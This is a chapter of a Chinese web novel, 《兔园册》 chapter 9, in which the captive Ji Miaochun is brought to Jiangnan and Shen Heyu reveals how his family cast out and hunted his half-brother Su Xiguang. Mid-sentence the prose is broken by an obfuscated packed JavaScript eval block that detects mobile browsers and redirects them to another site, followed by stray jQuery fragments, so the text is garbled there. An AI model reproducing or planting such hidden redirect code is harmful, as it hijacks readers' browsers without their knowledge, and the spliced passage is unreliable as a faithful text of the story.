9. 世家子
作品:《兔园册》 纪杪春离开黎镇之后,段襄先是去了城东徐家,拿了信后刚打算偷偷溜出去,就听到屋外传来一阵交谈声。
“唉,仵作前脚才把尸体抬走,里正大人就要咱们把这院子收拾了,说是怕不吉利,可这也太着急了。”
“要我说这火也起的蹊跷,听说起火那晚有人听到徐家传来争吵声,可徐娘子和她丈夫一向恩爱有加……”
段襄轻手轻脚地走到门边,从门缝往外看去,只见两个着灰衣的小吏提着工具正朝徐家走来,到了门口,却又停下脚步窃窃私语起来。
“不过也是,我听说这徐家的死跟江南沈氏有关系,里正大人是怕惹了贵人,为了保命,才睁一只眼闭一只眼地放那凶手走了。”
“怪不得!之前那黑衣人大白天就敢挨家挨户的找人,原来是有恃无恐啊,我看人便是他杀的。”说完这句,想到黑衣人那面无表情的样子和沾血的领口,小吏不禁打了个哆嗦。
“那可不嘛,哪怕那人就是条狗,也是沈家的狗,咱们这小地方可惹不起……等等,什么声音?”另一人一边说着,一边想推开徐家的门,可远方却突然传来几声惨叫,引得他们转头望去。
“最近镇上怎么这么不太平?”两个小吏对视了一眼,拔腿便往声音来源处跑。
那声音像是西边传来的,段襄皱着眉,想到那晚穷追不舍的黑衣人,心里有种不好的预感——刘湘芝一家便住在镇西。
……
把商队的人全杀了之后,黑衣人找了根绳子将纪杪春捆了起来,又牵了一匹拉货的马,纪杪春像只牲口一样被打横放在马上。其实对黑衣人来说,纪杪春跟牲口也没什么区别,要不是主子非要活的,他早就把她剁成肉泥了。
为了避免节外生枝,他打算先把纪杪春送到主子那再说。
纪杪春心如死灰,一路上都没说话,她本想找苏晞光要了钱后便带着姐姐好好生活,可现在姐姐没了,她又连累了元家和商队的人。
是她错了,也许她最开始就不应该找苏晞光。
黑衣人骑着马带着纪杪春一路南行,因为之前吃过亏,这回他痛定思痛,连睡觉都睁着一只眼睛,生怕纪杪春跑了。
越往南走,地上的雪越薄,差不多过了一个月,二人便到了江南。眼看要进城了,黑衣人竟然大发慈悲的让纪杪春梳洗了一番,又让她换了干净的衣裙,还租了一辆马车。
看着收敛了许多的黑衣人,纪杪春觉得他那主子应该势力不小。
江南还没下雪,大街上人来人往的,相当热闹。纪杪春坐在马车中把帘子掀开一个缝,只见街边摆满了卖货的摊子,有卖糖人的,字画的,还有卖荷包的。看着摊子上那些荷包,纪杪春便想起来自己也曾经绣过一个荷包,但是比这摊子上卖的丑上许多。
苏晞光一向很珍视纪杪春送他的每一样东西,哪怕这荷包再丑,他也总是随身带着。苏晞光有一个玉匣,里面装满了纪杪春送给他的小玩意。他曾说过等有了孩子之后,便要将小匣子埋在后院的榕树下,省得里面的东西被孩子玩耍时弄坏。
明明都是些不值钱的东西,可苏晞光却说得很是认真。
纪杪春看得出神,见黑衣人没什么反应,她便想将帘子完全掀开,却被黑衣人拿刀鞘狠狠地拍了一下手背,只好作罢。
路边似乎有人正在算命,声音传到了马车里。那人煞有介事地说,将死之人能看到未转世的魂魄,如果有人见到已经去世很久的亲友,说明这人也命不久矣。
想到纪清冬说自己在林中见到了鬼,纪杪春微微垂下眸子。
这么一看,那时的姐姐便已经是将死之人了?
这几日,她闭上眼睛就会想到那因她而死的商队和刘湘芝一家,还有离别时紧紧抱着她不让她走的纪清冬。有的时候,她又会想起雪地中将她扶起的苏晞光。
苏晞光明明是江南人,却不怎么与纪杪春谈论自己的故乡。他说自己父母双亡,纪杪春便也没主动过问江南的事,生怕让他伤心。
在忆起那个叫西瓜的小弟之前,纪杪春一直以为苏晞光离开江南后便直接去了京城。可从那日黑衣人与徐娘子说的话来看,他竟在徐家呆了整整十年。
也许在他很小的时候便远离家乡,去了燕北。可这些事,他却像是刻意瞒着纪杪春一般,从未跟她提起。
马车平稳地行在青石板铺就的街道上,远离闹市之后周围越发安静,只能听到马蹄的哒哒声。没过多久,马车便停了下来。
黑衣人带着纪杪春从小门进了一处庭院,进门之前收走了她身上所有的物品,包括那本兔园册。这庭院设计得很是复杂,曲径通幽,颇有美感,可见定是下了一番功夫。
穿过庭院与回廊,纪杪春被带到了一个像是书房的地方。屋内坐着一个穿着青袍的男子,年龄应该不到三十,眉眼看着颇为眼熟。
“你就是纪杪春?”男子笑了笑,示意纪杪春坐下:“手下人粗鄙,失手杀了人,见笑了。”
失手杀了人?他的意思是商队和刘湘芝一家都是那黑衣人失手杀的吗?纪杪春觉得可笑,视人命为草芥的手下,道貌岸然的主子,真是什么样的人养什么样的狗。
纪杪春死死握着拳,一动不动地站在原地。那晚商队的惨状不断地在她脑海中浮现,她盯着眼前之人,想着哪怕死在这里,也得在死之前挠花他的脸。
看着纪杪春的眼神,男子有些玩味地笑了一下:“你这眼神倒是跟那野种很像……我问你,沈晞光在哪里?”
纪杪春哪认识什么沈晞光,况且她早在进门时便打定主意什么都不说,要杀要剐随他便。
见纪杪春像个蚌壳一样紧紧地闭着嘴,男子便也不再多问。他拿出那本从纪杪春身上收走的兔园册随便翻了几页,随后嗤笑一声。
这字迹他再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129349|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
熟悉不过了,本就是他教的字,只一眼他便能认出是谁写的。
“我给你讲个故事吧。”烦躁地将那本破破烂烂的兔园册甩到一旁,男子撑着头,笑吟吟地看着纪杪春。还没等对方有什么反应,他便自顾自地开了口。
江南多望族,曾经势头最盛的便是沈家。可若干年前,由于前任家主坠马而亡,他那不成器的儿子沈瑜便只好被迫成了新任家主,在那之后沈家便不复从前。虽然沈家没落了,但瘦死的骆驼比马大,尤其是在沈瑜娶了范阳卢氏的女儿之后,沈家表面上便还维持着世家大族的体面。
沈瑜有两个儿子,大儿子名为和玉,由发妻所生,可小儿子的亲生母亲却只是江南一个姓苏的歌女。那歌女年少貌美,幼子又聪明伶俐,沈瑜便逐渐冷落了发妻。最终,卢夫人不堪此辱,吞金自尽。
届时范阳卢氏风头正盛,可沈家却已逐渐式微,为了稳住岳丈一家,沈瑜便掩盖了卢夫人去世的真相,并给那歌女灌了毒酒。随后,他命人将幼子丢到燕北,转头便扶持起长子,努力营造出父慈子孝的假象。
那时沈家幼子年龄尚小,个头还没桌案高,走的时候一步三回头的,着实令人怜惜。
稚子无辜,沈家长子从未将母亲之死迁怒于幼弟,再加上母亲死后父亲对他又格外看重,故心里虽然悲戚,但是他对沈瑜却还是恭恭敬敬,不敢有任何顶撞。
可直到他发现父亲将那歌女的侍女送去燕北服侍幼弟,又时不时差人送些银钱,才明白哪怕他再恭敬,也比不上沈瑜心中那个颖悟绝伦的小儿子。
于是,他便杀了沈瑜,成为沈家新的家主,又断了那源源不断送去燕北的补贴。在卢氏的扶持之下,他站稳了脚跟,也没人敢询问上一任家主的去处。
他本想将自己的弟弟也杀了,可他只知道那孩子在燕北,却不知具体在哪。给那野种送钱的下人倒是忠心得很,哪怕四肢都被斩断,眼珠都被扯了出来,却还是什么都不说。那姓徐的婢女也有些能耐,不知她把沈家幼子藏在了哪里,一点消息都没有。
在那之后,沈家长子便逐渐放下了这件事,他醉心权势,频繁地与京中官员结交,想着早晚有一天要让沈家恢复昔日的荣光。
可没想到,多年之后,他又听到了自己弟弟的消息。那人改了母姓,去了京城,似乎还不怕死地收集他勾结朝官的证据,想要状告朝廷。
可后来,他这弟弟成了亲,似乎也转了性子。也许是想更稳妥一些,这昔日的贵族子弟竟然要靠着科举入朝为官,企图与他抗衡。
“这沈……不对,现在应该叫他苏晞光。”沈和玉轻笑了两声,继续说道:“我明明放了他一马,可他却总像只跳蚤一样,在我眼皮子底下蹦跶,着实是不识抬举。”
“既然如此,我便要给他点教训看看……你说是不是,弟妹?”说完这句,沈和玉勾起唇角,饶有兴致地盯着纪杪春。